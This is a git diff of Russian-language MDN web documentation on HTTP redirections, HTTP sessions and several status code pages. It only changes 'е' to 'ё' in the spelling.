            Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остаётся простым, позволяя исследовать и отлаживать с простым монитором HTTP-сообщений.

            diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html index aa1a214099..24d77f80f5 100644 --- a/files/ru/web/http/redirections/index.html +++ b/files/ru/web/http/redirections/index.html @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Redirections

            Временные перенаправления

            -

            Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.

            +

            Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определённого места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.

            @@ -111,18 +111,18 @@ translation_of: Web/HTTP/Redirections - +
            304 Not ModifiedОбновление кеша: означает, что значение кеша все еще актуально и может быть использовано.Обновление кеша: означает, что значение кеша все ещё актуально и может быть использовано.

            Альтернативные способы указания перенаправлений

            -

            HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют DOM.

            +

            HTTP перенаправления это не единственный способ переадресации. Есть ещё два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют DOM.

            HTML перенаправления

            -

            HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение refresh в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.

            +

            HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение refresh в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдёт этот элемент и перейдёт на указанную страницу.

            <head>
               <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
            @@ -143,14 +143,14 @@ translation_of: Web/HTTP/Redirections
             
             
            window.location = "http://www.example.com/";
            -

            Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.

            +

            Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определённое условие.

            Приоритетность

            -

            При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:

            +

            При использовании трёх возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применён первым? Порядок приоритетов следующий:

              -
            1. HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана,  и конечно же, пока еще не прочитана.
            2. +
            3. HTTP перенаправления всегда выполняются первыми, пока ещё страница даже не была передана,  и конечно же, пока ещё не прочитана.
            4. HTML перенаправления ({{HTMLElement("meta")}}) выполняются только, если перенаправление не было в выполнено в HTTP.
            5. JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.
            @@ -168,14 +168,14 @@ translation_of: Web/HTTP/Redirections

            Связывание доменов может быть необходимым по нескольким причинам:

              -
            • Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом www.example.com , а доступ к страницам должен быть возможным также из example.com . В этом случае создаются перенаправления для  страниц из example.com к страницам www.example.com. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.
            • +
            • Расширение вашего сайта. Распространённый случай, когда ваш сайт находится под доменом www.example.com , а доступ к страницам должен быть возможным также из example.com . В этом случае создаются перенаправления для  страниц из example.com к страницам www.example.com. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.
            • Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.
            • -
            • Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.
            • +
            • Принуждённый HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.

            Сохранения ссылок рабочими

            -

            Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.

            +

            Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имён, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.

            Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.

            @@ -185,7 +185,7 @@ translation_of: Web/HTTP/Redirections

            {{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их.  Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. 

            -

            В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.

            +

            В этом случае, сервер вернёт ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.

            Временные ответы на долгие запросы

            @@ -223,7 +223,7 @@ Redirect 301 / http://www.example.com

            Nginx

            -

            В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:

            +

            В Nginx, вы создаёте особый серверный блок для контента, который вы хотите перенаправлять:

            server {
             	listen 80;
            @@ -243,7 +243,7 @@ rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
             
             

            Циклы перенаправлений

            -

            Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.

            +

            Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счёте ни одна страница не будет найдена.

            В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} Internal Server Error. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.

            diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html index a8a53f9090..1b94555603 100644 --- a/files/ru/web/http/session/index.html +++ b/files/ru/web/http/session/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTTP/Session

            Отправка запроса клиента

            -

            Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:

            +

            Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделённые между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:

            1. Первые строки содержат метод запроса и его параметры: @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Session
            2. версию HTTP протокола 
          -
        • Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.
        • +
        • Каждая последующая строка представляет собой HTTP заголовок и передаёт серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.
        • Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.
        • @@ -63,16 +63,16 @@ name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue

          Методы запроса

          -

          HTTP определяет набор методов запроса с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы GET и POST:

          +

          HTTP определяет набор методов запроса с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространённые запросы GET и POST:

          • {{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием GET должен только получать данные.
          • -
          • {{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для HTML форм.
          • +
          • {{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять своё состояние. Этот метод часто используется для HTML форм.

          Структура ответа от сервера

          -

          После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:

          +

          После того как присоединённый агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделённые между собой CRLF, сгруппированные в три разных блока:

          1. Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).
          2. @@ -97,7 +97,7 @@ Content-Type: text/html -

            Сообщение о том, что запрашиваемый ресурс был перемещен:

            +

            Сообщение о том, что запрашиваемый ресурс был перемещён:

            HTTP/1.1 301 Moved Permanently
             Server: Apache/2.2.3 (Red Hat)
            @@ -140,7 +140,7 @@ Content-Type: text/html
             
             

            Коды статусов ответа

            -

            HTTP-коды ответов показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.

            +

            HTTP-коды ответов показывают, выполнен ли успешно определённый HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.

            • {{HTTPStatus(200)}}: OK. Запрос завершился успехом.
            • diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html index 5e9b4a15b7..d96b80e56e 100644 --- a/files/ru/web/http/status/100/index.html +++ b/files/ru/web/http/status/100/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/100

               Код ответа "HTTP 100 Continue" на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.

              -

              Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}:100-continue в качестве заголовка в своем первоначальном запросе и получить код состояния 100-continue в ответ перед отправкой тела.

              +

              Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}:100-continue в качестве заголовка в своём первоначальном запросе и получить код состояния 100-continue в ответ перед отправкой тела.

              Статус

              diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html index bd1f64e5e5..ae8a98f91b 100644 --- a/files/ru/web/http/status/200/index.html +++ b/files/ru/web/http/status/200/index.html @@ -10,9 +10,9 @@ translation_of: Web/HTTP/Status/200

              Значение успеха зависит от метода HTTP-запроса:

                -
              • {{HTTPMethod("GET")}}: Ресурс был извлечен и передан в теле сообщения.
              • +
              • {{HTTPMethod("GET")}}: Ресурс был извлечён и передан в теле сообщения.
              • {{HTTPMethod("HEAD")}}: Заголовки объектов находятся в теле сообщения.
              • -
              • {{HTTPMethod("POST")}}: Ресурс, описывающий результат действия, передается в теле сообщения.
              • +
              • {{HTTPMethod("POST")}}: Ресурс, описывающий результат действия, передаётся в теле сообщения.
              • {{HTTPMethod("TRACE")}}:Тело сообщения содержит сообщение запроса, полученное сервером.
              diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html index 9bb49c0dfc..9d55a9eb3b 100644 --- a/files/ru/web/http/status/201/index.html +++ b/files/ru/web/http/status/201/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/201

              {{HTTPSidebar}}

              -

              HTTP 201 Created Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка Location.

              +

              HTTP 201 Created Код ответа об успешном статусе указывает, что запрос выполнен успешно и привёл к созданию ресурса. Новый ресурс эффективно создаётся до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка Location.

              Общим случаем использования этого кода состояния является результат POST запроса.

              diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html index ac2d42a884..4acbea6708 100644 --- a/files/ru/web/http/status/202/index.html +++ b/files/ru/web/http/status/202/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/202 ---
              {{HTTPSidebar}}
              -

              Код состояния ответа "The HTTP 202 Accepted" указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в HTTP невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.

              +

              Код состояния ответа "The HTTP 202 Accepted" указывает, что запрос получен, но ещё не обработан. Это не является обязательным, что означает, что в HTTP невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.

              Статус

              diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html index aabd4310ac..4d184c15ce 100644 --- a/files/ru/web/http/status/203/index.html +++ b/files/ru/web/http/status/203/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/203 ---
              {{HTTPSidebar}}
              -

              "The HTTP 203 Non-Authoritative Information" Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (OK) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.

              +

              "The HTTP 203 Non-Authoritative Information" Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учётом ответа сервера{{HTTPStatus("200")}} (OK) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.

              "The 203" ответ  аналогичен значению 214, значение "Transformation Applied", кода  {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.

              diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html index c874bd3e14..299a8c9b81 100644 --- a/files/ru/web/http/status/204/index.html +++ b/files/ru/web/http/status/204/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/204 ---
              {{HTTPSidebar}}
              -

              "The HTTP 204 No Content" код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ 204  кэшируется. В такой ответ включен  {{HTTPHeader("ETag")}}.

              +

              "The HTTP 204 No Content" код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ 204  кэшируется. В такой ответ включён  {{HTTPHeader("ETag")}}.

              -

              Общим вариантом использования является возвращение 204 в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} Created. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.

              +

              Общим вариантом использования является возвращение 204 в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} Created. Если страница должна быть изменена на вновь обновлённую страницу, вместо неё следует использовать {{HTTPStatus("200")}}.

              Статус

              diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html index d34fac6443..a670db7fd3 100644 --- a/files/ru/web/http/status/206/index.html +++ b/files/ru/web/http/status/206/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/206

              "The HTTP 206 Partial Content"код ответа на статус успешного  указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в  {{HTTPHeader("Range")}} запроса

              -

              Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}

              +

              Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задаётся типом документа, а также {{HTTPHeader("Content-Range")}}

              Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение multipart/byteranges, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.

        diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html index 8456c79e66..3020b45294 100644 --- a/files/ru/web/http/status/301/index.html +++ b/files/ru/web/http/status/301/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/301 ---
        {{HTTPSidebar}}
        -

        Код перенаправления "301 Moved Permanently" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).

        +

        Код перенаправления "301 Moved Permanently" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещён в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).

        -

        Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код 301 рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.

        +

        Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все ещё можете столкнуться с программами имеющими этот баг. Именно поэтому код 301 рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.

        Статус

        diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html index 34c5344642..f04eaea946 100644 --- a/files/ru/web/http/status/302/index.html +++ b/files/ru/web/http/status/302/index.html @@ -9,11 +9,11 @@ translation_of: Web/HTTP/Status/302 ---
        {{HTTPSidebar}}
        -

        HTTP код перенаправления 302 Found означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).

        +

        HTTP код перенаправления 302 Found означает, что запрошенный ресурс был временно перемещён по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).

        Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код 302 только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.

        -

        В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

        +

        В тех случаях, когда вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

        Статус

        diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html index 38cdf13766..6978f10cfe 100644 --- a/files/ru/web/http/status/307/index.html +++ b/files/ru/web/http/status/307/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/307 ---
        {{HTTPSidebar}}
        -

        {{Glossary("HTTP")}} код перенаправления  307 Temporary Redirect означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.

        +

        {{Glossary("HTTP")}} код перенаправления  307 Temporary Redirect означает, что запрошенный ресурс был временно перемещён в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.

        -

        Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

        +

        Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

        Единственное различие между 307 и {{HTTPStatus("302")}} состоит в том, что 307 гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом 302 некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от GET и ответа с кодом 302 непредсказуемо, тогда как поведение в случае ответа с кодом 307 предсказуемо. Для запросов GET поведение идентично.

        diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html index 6416f1cf9c..be80d3e6c4 100644 --- a/files/ru/web/http/status/308/index.html +++ b/files/ru/web/http/status/308/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/308 ---
        {{HTTPSidebar}}
        -

        Код ответа на статус перенаправления "HTTP 308 Permanent Redirect" указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).

        +

        Код ответа на статус перенаправления "HTTP 308 Permanent Redirect" указывает, что запрошенный ресурс был окончательно перемещён в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).

        -

        Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.

        +

        Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменён на {{HTTPHeader("GET")}} метод.

        Некоторые веб-приложения могут использовать 308 Permanent Redirect нестандартным образом и для других целей. Например, Google Drive использует ответ 308 Resume Incomplete, чтобы указать клиенту, когда неполная загрузка застопорилась.[1]

        diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html index e093e7d774..021606e74a 100644 --- a/files/ru/web/http/status/401/index.html +++ b/files/ru/web/http/status/401/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/401 ---
        {{HTTPSidebar}}
        -

        Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.

        +

        Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.

        Этот статус отправляется с  {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.

        diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html index 93b58f1dd6..09007391c1 100644 --- a/files/ru/web/http/status/402/index.html +++ b/files/ru/web/http/status/402/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/402

        HTTP-ответ 402 Payment Required это нестандартная ошибка клиента, зарезервированная для использования в будущем.

        -

        Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.

        +

        Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платёжных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.

        Статус

        diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html index 42f95f5f95..459b45c551 100644 --- a/files/ru/web/http/status/403/index.html +++ b/files/ru/web/http/status/403/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/403

        Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.

        -

        Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).

        +

        Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещён и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).

        Статус

        diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html index afea810f1b..8259e60b6d 100644 --- a/files/ru/web/http/status/405/index.html +++ b/files/ru/web/http/status/405/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/405 ---
        {{HTTPSidebar}}
        -

        Код состояния протокола HTTP  405 Method Not Allowed, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.

        +

        Код состояния протокола HTTP  405 Method Not Allowed, указывает, что метод запроса известен серверу, но был отключён и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.

        Сервер ОБЯЗАН сгенерировать поле заголовка Allow в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.

        diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html index 1e61d4a6f7..6a402c4529 100644 --- a/files/ru/web/http/status/406/index.html +++ b/files/ru/web/http/status/406/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/406 ---
        {{HTTPSidebar}}
        -

        HyperText Transfer Protocol (HTTP) код ошибки клиента 406 Not Acceptable означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего согласования контента, и что сервер не желает вернуть представление контента по умолчанию.

        +

        HyperText Transfer Protocol (HTTP) код ошибки клиента 406 Not Acceptable означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определённых в заголовках упреждающего согласования контента, и что сервер не желает вернуть представление контента по умолчанию.

        Заголовки упреждающего согласования контента включают:

        @@ -19,7 +19,7 @@ translation_of: Web/HTTP/Status/406
      • {{HTTPHeader("Accept-Language")}}
      -

      На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.

      +

      На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтёт это коду ошибки.

      Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.

